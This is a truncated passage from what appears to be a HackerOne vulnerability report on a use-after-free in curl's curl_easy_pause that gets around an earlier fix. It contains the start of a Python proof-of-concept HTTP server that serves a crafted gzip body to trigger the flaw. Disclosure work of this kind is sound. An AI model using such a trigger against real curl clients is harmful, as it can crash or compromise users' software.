Re-entrant curl_easy_pause UAF in cw-pause

Summary This report is a bypass of the prior fix for the nested `curl_easy_pause()` re-entrancy issue described in HackerOne report #4102061. The original patch guarded the writer path in `lib/cw-out.c` by adding a re-entrancy guard around `cw_out_flush_chain()`, but it did not guard the sibling …

#!/usr/bin/env python3
import gzip
import http.server
import socketserver

payload = (b'A' * 6000) + b'\n' + (b'B' * 6000)
compressed = gzip.compress(payload)

class Handler(http.server.BaseHTTPRequestHandler):
    def do_GET(self):
        body = compressed
        self.send_response(200) …